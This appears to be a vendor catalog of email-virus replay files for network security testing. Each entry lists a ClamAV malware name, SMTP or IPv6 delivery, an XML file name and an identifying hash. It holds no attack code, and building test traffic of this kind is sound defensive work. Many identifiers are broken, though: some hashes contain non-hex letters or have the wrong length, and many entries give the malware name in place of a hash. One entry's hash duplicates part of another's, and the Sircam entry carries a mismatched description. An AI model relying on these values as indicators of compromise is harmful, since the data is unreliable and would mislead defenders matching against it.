Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sucon.b.756f4c0e_IPv6.xml
Executive Description:	Email Virus Worm.Sucon.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sucon.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 756f4c0eae76977a30e94989901f8aa7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Godog.b273839d_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b273839dbelee3bb4f6c3f0cb9b740bd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Maniz.4bacflda_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Maniz (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Maniz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bacfldab59b13ef99929388b8065fc9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SomeFool.O.9d7006e3_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.O (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9d7006e30fdf15e9c8e03e62534b3a3e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.Lentin.I.d6e098e6_IPv6.xml
Executive Description:	Email Virus Worm.Lentin.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lentin.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d6e098e6122739168d0abfe285c0d14c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Mylife.C.c755c0d4.xml
Executive Description:	Email Virus Worm.Mylife.C
Detailed Description:	This is the email virus Worm.Mylife.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c755c0d4915686e098bc9c193831f334. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.5d796596_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d7965963964d4bf1ea73cf73da8b3e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2fd23ba7.xml
Executive Description:	Email Virus W95.Hybris.PI.003
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2fd23ba777b1fad62b6eab93772214a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.JS.Sigbug.b.b.8827c3bb.xml
Executive Description:	Email Virus Email-Worm.JS.Sigbug.b.b
Detailed Description:	This is the email virus Email-Worm.JS.Sigbug.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.JS.Sigbug.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Assarm.ass.e3e151ac_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Assarm.ass (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Assarm.ass as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Assarm.ass. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Haxdoor.B.5ea70f86_IPv6.xml
Executive Description:	Email Virus Email-Worm.Backdoor.Haxdoor.B (IPv6 Version)
Detailed Description:	This is the email virus Backdoor.Haxdoor.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5ea70f863a1b63d08c14d3c2455f8790. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.A.84e4510a_IPv6.xml
Executive Description:	Email Virus VBS.LoveLetter.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.LoveLetter.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 84e4510aec4d76c5d431ab32d7458f8c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Dumb.2.797810f9.xml
Executive Description:	Email Virus Worm.Dumb.2
Detailed Description:	This is the email virus Worm.Dumb.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 797810f99b6d01fae84556c4dca543b2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Paroc.A.d4f43810_IPv6.xml
Executive Description:	Email Virus Worm.Paroc.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Paroc.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d4f43810da698cc6104d843e56593abd. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.H.543c358d.xml
Executive Description:	Email Virus Worm.Klez.H
Detailed Description:	This is the email virus Worm.Klez.H as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 543c358d51a949d6584f568bc3ac465b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Sircam.85faf716b.xml
Executive Description:	Email Virus Worm.Rays.A
Detailed Description:	This is the email virus Worm.Sircam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 85faf716b82e92aea53e5e04e632b30a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.ef542e18.xml
Executive Description:	Email Virus Worm.Godog
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ef542e181e41cd79695dc59bd4078ffe. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drink.1.0127c451.xml
Executive Description:	Email Virus Worm.Drink.1
Detailed Description:	This is the email virus Worm.Drink.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0127c451fcf9f1ece8d54b34a3169f6d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Noon.e80c93c7_IPv6.xml
Executive Description:	Email Virus Worm.Noon (IPv6 Version)
Detailed Description:	This is the email virus Worm.Noon as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e80c93c78dd745efd7e51b4959a4ce33. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Kondrik.i.i.ca2d8546_IPv6.xml
Executive Description:	Email Virus Email-Worm.DOS.Kondrik.i.i (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.DOS.Kondrik.i.i as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Kondrik.i.i. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.52b01701.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 52b01701d0719062614906f5b030773f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Worm.Winevar.e79d0b1a_IPv6.xml
Executive Description:	Email Virus W32.Worm.Winevar (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Winevar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e79d0b1a342712ea9b96104086149d65. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.160a2c19_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 160a2c19abcf721dc24dd23528a57595. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Emin.d9fd66a8_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Emin (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Emin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d9fd66a813b647e9461e654ba80db7bc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.AM.87993159.xml
Executive Description:	Email Virus Worm.LoveLetter.AM
Detailed Description:	This is the email virus Worm.LoveLetter.AM as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 879931599d63a160b9fd4dc3cc2ac8b4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drink.1.0127c451_IPv6.xml
Executive Description:	Email Virus Worm.Drink.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Drink.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0127c451fcf9f1ece8d54b34a3169f6d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6

Threat Package:	Email
Threat File Name:	Worm.Lee.r.5213917c.xml
Executive Description:	Email Virus Worm.Lee.r
Detailed Description:	This is the email virus Worm.Lee.r as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5213917c6a740de8224687694a98adee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Chet.a.a.db7b0b9e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Chet.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Chet.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Chet.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Spam.Brief.d94551fc.xml
Executive Description:	Email Virus Worm.Spam.Brief
Detailed Description:	This is the email virus Worm.Spam.Brief as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d94551fcb68fbc72d8f513299da8afa8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AE.e64547e9.xml
Executive Description:	Email Virus Worm.Lovgate.AE
Detailed Description:	This is the email virus Worm.Lovgate.AE as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e64547e952800a8f78838d6f2552e6b1. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BWG.A.e70e9df8.xml
Executive Description:	Email Virus Worm.BWG.A
Detailed Description:	This is the email virus Worm.BWG.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e70e9df8117b9aab9b88e440c2e45d17. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vorgon.B.2a5b7d8d_IPv6.xml
Executive Description:	Email Virus Worm.Vorgon.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vorgon.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2a5b7d8de10f1c5197a179cc5b21f46b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.MSWord.Tijor.tij.3ae473ce.xml
Executive Description:	Email Virus Email-Worm.MSWord.Tijor.tij
Detailed Description:	This is the email virus Email-Worm.MSWord.Tijor.tij as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.MSWord.Tijor.tij. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hobex.hob.6490b29e.xml
Executive Description:	Email Virus Email-Worm.Win32.Hobex.hob
Detailed Description:	This is the email virus Email-Worm.Win32.Hobex.hob as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hobex.hob. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Drefir.C.9594702d.xml
Executive Description:	Email Virus Worm.Drefir.C
Detailed Description:	This is the email virus Worm.Drefir.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9594702de451b792e318b8eb1deb9214. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Magistr.B.poly.0cd0a719_IPv6.xml
Executive Description:	Email Virus Worm.Magistr.B.poly (IPv6 Version)
Detailed Description:	This is the email virus Worm.Magistr.B.poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0cd0a719f9f91630de366c54c427a834. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Greel.A.901f172b_IPv6.xml
Executive Description:	Email Virus Worm.Greel.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Greel.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 901f172bb73f98d86898fde8e67495c1. This attack is delivered via SMTP to a email server. (IPv6 Version)

Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Shuq.B.3d49489e_IPv6.xml
Executive Description:	Email Virus Worm.Shuq.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Shuq.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3d49489eff476e66f5f9097dfa2da484. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SillyWorm.a.a.6b2487fc.xml
Executive Description:	Email Virus Email-Worm.VBS.SillyWorm.a.a
Detailed Description:	This is the email virus Email-Worm.VBS.SillyWorm.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SillyWorm.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.VBSWG.aa.aa.292c4794_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.VBSWG.aa.aa (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.VBSWG.aa.aa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.VBSWG.aa.aa. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Puron.b3df8b68.xml
Executive Description:	Email Virus Worm.Puron
Detailed Description:	This is the email virus Worm.Puron as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b3df8b68919e04f1edeb66d746cbeb80. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.I.c5fe22de.xml
Executive Description:	Email Virus VBS.PicaWorm.I
Detailed Description:	This is the email virus VBS.PicaWorm.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5fe22de68bf20cf256390b52b595612. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.SSIWG2.ssi.4b1e2c5a.xml
Executive Description:	Email Virus Email-Worm.VBS.SSIWG2.ssi
Detailed Description:	This is the email virus Email-Worm.VBS.SSIWG2.ssi as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.SSIWG2.ssi. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sabak.A.82bc4f48_IPv6.xml
Executive Description:	Email Virus Worm.Sabak.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sabak.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82bc4f482e8015ca5a5b755a1204e014. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.b5b92d0a_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b5b92d0a2285b0d579939ad6733a98dc. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AU.6e96df83.xml
Executive Description:	Email Virus Worm.Bagle.AU
Detailed Description:	This is the email virus Worm.Bagle.AU as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e96df8304807fb4238f0f698fd96157. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-zippwd.a3730f2b_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-zippwd (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.Gen-zippwd as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a3730f2bb51e107ae8081ff7c15a8444. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.S.809c50d2_IPv6.xml
Executive Description:	Email Virus Worm.Lovgate.S (IPv6 Version)

Detailed Description:	This is the email virus Worm.Lovgate.S as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 809c50d245b45614f8b27de98bc828a9. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Kagra.ac087b23_IPv6.xml
Executive Description:	Email Virus Worm.Kagra (IPv6 Version)
Detailed Description:	This is the email virus Worm.Kagra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ac087b236f3baecb2abde6bb56176256. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Xemez.2980c3ca_IPv6.xml
Executive Description:	Email Virus Worm.Xemez (IPv6 Version)
Detailed Description:	This is the email virus Worm.Xemez as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2980c3ca33d926c3d8d0d039080f3cc8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.E.3033d2e9_IPv6.xml
Executive Description:	Email Virus Worm.Brit.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Brit.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3033d2e9d99668678d24a4fca7d05ac1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Pahi.B.13129193_IPv6.xml
Executive Description:	Email Virus Wotm.VBS.Pahi.B (IPv6 Version)
Detailed Description:	This is the email virus Wotm.VBS.Pahi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 13129193ea585288e8bf4a391334f455. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.82e8971d.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82e8971d1f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Randa.4c560521.xml
Executive Description:	Email Virus Worm.VBS.Randa
Detailed Description:	This is the email virus Worm.VBS.Randa as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c560521f3cd8ce88ab1026e8d7159eb. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.e3692cb7_IPv6.xml
Executive Description:	Email Virus Worm.Yarner.D (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e3692cb7b2b1354f61a050613bc9758b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manyimize.man.5e26c953_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Manyimize.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Manyimize.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manyimize.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Avoner.A.3354ef97_IPv6.xml
Executive Description:	Email Virus Worm.Avoner.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Avoner.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3354ef976cdce679c3cf821ad52c9a59. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.P.ba9cbc0d.xml
Executive Description:	Email Virus Worm.Yaha.P
Detailed Description:	This is the email virus Worm.Yaha.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba9cbc0dee19184251aa9df5427320ce. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Mimail.I.blad7269.xml

Executive Description:	Email Virus Worm.Mimail.I
Detailed Description:	This is the email virus Worm.Mimail.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blad7269b179113d43c7c7564dcf67e0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Godzilla.god.b1fa0612_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Godzilla.god (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Godzilla.god as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Godzilla.god. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Brit.f.f1a8c3a4.xml
Executive Description:	Email Virus Worm.Brit.f
Detailed Description:	This is the email virus Worm.Brit.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f1a8c3a4ae874c8f7cf26766923469ee. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.b.b.e62e5ce6_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alcaul.B.51f19993_IPv6.xml
Executive Description:	Email Virus VBS.Alcaul.B (IPv6 Version)
Detailed Description:	This is the email virus VBS.Alcaul.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51f19993474bc77d0cb4694bc6c8f643. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Menace.men.8de2cf46_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Menace.men (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Menace.men as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Menace.men. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Horid.hor.365887be_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Horid.hor (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Horid.hor as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Horid.hor. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.ddff1350.xml
Executive Description:	Email Virus W32.Worm.Choke
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ddff13508999d4144105fa2dcf75fc78. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Stina.sti.3d6294c8.xml
Executive Description:	Email Virus Email-Worm.Win32.Stina.sti
Detailed Description:	This is the email virus Email-Worm.Win32.Stina.sti as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Stina.sti. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Apost.A.946f4b65.xml
Executive Description:	Email Virus Worm.Apost.A
Detailed Description:	This is the email virus Worm.Apost.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 946f4b65baff49e8dd6fd2a3abc43cc5. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.BubbleBoy.msg.bb7b91d1.xml
Executive Description:	Email Virus Worm.BubbleBoy.msg
Detailed Description:	This is the email virus Worm.BubbleBoy.msg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb7b91d1685db89b58ac01a72921e632. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Email-Worm.Win32.Paukor.a.a.87748874.xml
Executive Description:	Email Virus Email-Worm.Win32.Paukor.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Paukor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Paukor.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Maniz.4bacflda.xml
Executive Description:	Email Virus Worm.VBS.Maniz
Detailed Description:	This is the email virus Worm.VBS.Maniz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4bacfldab59b13ef99929388b8065fc9. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.94ec4742_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 94ec47428dabb492af96756e7c95c644. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Uaper.b.b.bd06afea_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Uaper.b.b (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Uaper.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Uaper.b.b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SysClock.f0c88112.xml
Executive Description:	Email Virus Worm.SysClock
Detailed Description:	This is the email virus Worm.SysClock as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f0c881121393713e27cd8f35aaae0cfa. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Vierika.242c9030_IPv6.xml
Executive Description:	Email Virus Worm.Vierika (IPv6 Version)
Detailed Description:	This is the email virus Worm.Vierika as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 242c9030e2b77db532537218cf508924. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	JS.Yama.B.05f78466.xml
Executive Description:	Email Virus JS.Yama.B
Detailed Description:	This is the email virus JS.Yama.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05f784668b2143abb25137ef8c84c55d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Yarner.D.e3692cb7.xml
Executive Description:	Email Virus Worm.Yarner.D
Detailed Description:	This is the email virus Worm.Yarner.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e3692cb7b2b1354f61a050613bc9758b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Zhangpo.0caf68d0.xml
Executive Description:	Email Virus W32.Zhangpo
